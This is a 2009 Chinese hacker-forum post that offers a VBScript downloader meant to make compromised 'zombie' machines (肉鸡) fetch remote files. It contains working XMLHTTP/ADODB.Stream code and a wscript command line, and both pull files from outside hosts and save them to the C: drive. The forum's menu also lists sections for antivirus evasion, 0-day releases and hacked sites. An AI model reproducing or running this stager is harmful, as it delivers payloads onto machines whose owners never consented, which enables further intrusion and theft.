注册
登录
论坛
搜索
插件
默认风格
默认风格_6hOY
D Dark
greenwall
jeans
fashion
私人消息 (0)
公共消息 (0)
论坛任务 (0)
系统消息 (0)
好友消息 (0)
帖子消息 (0)
【3.A.S.T】网络安全爱好者
»
初入江湖
» 让肉鸡下载东西的vbs脚本
返回列表
发帖
3ast
发短消息
加为好友
3ast
当前离线
3AST官方管理号
UID
33
帖子
394
精华
0
积分
845
威望
1072
金钱
1070
阅读权限
150
在线时间
56 小时
注册时间
2008-7-8
最后登录
2011-3-6
超级版主
帖子
394
积分
845
威望
1072
金钱
1070
在线时间
56 小时
1
楼
跳转到
»
倒序看帖
打印
字体大小:
t
T
发表于 2009-1-24 17:30
|
显示全部帖子
让肉鸡下载东西的vbs脚本
vbs
,
脚本
,
肉鸡
,
下载
让肉鸡下载东西的vbs脚本
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
让肉鸡下载东西的vbs脚本
wscript c:\down.vbs
http://www.kill-v.com/22.txt
c:\1.txt
http://bbs.5149417.cn
iLocal ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
收藏
分享
Aim、Ambition、Action Security Team
Just For the
Security . . . . . . .
The way to hacking. . .
■■■■■98%
返回列表
【 新 手 入 门 】
初入江湖
有问必答
软件交流
程序设计
黑客播报
操作系统
Windows专区
Unix 专区
【 技 术 交 流 】
原创专区
QQ技巧
反黑知识
网站建设
教程发布
技术交流
免杀技术
0day发布
专题归类
私服技术
【 论 坛 水 区 】
被黑站点
激情灌水
极品贴图
开心乐园
影音专区
广告专区
【 论 坛 管 理 】
新人报到
论坛管理
勋章申请
[收藏此主题]
[关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]
全国地图
@@@ 加入本站会员 一个月月赚1200+的秘密@@@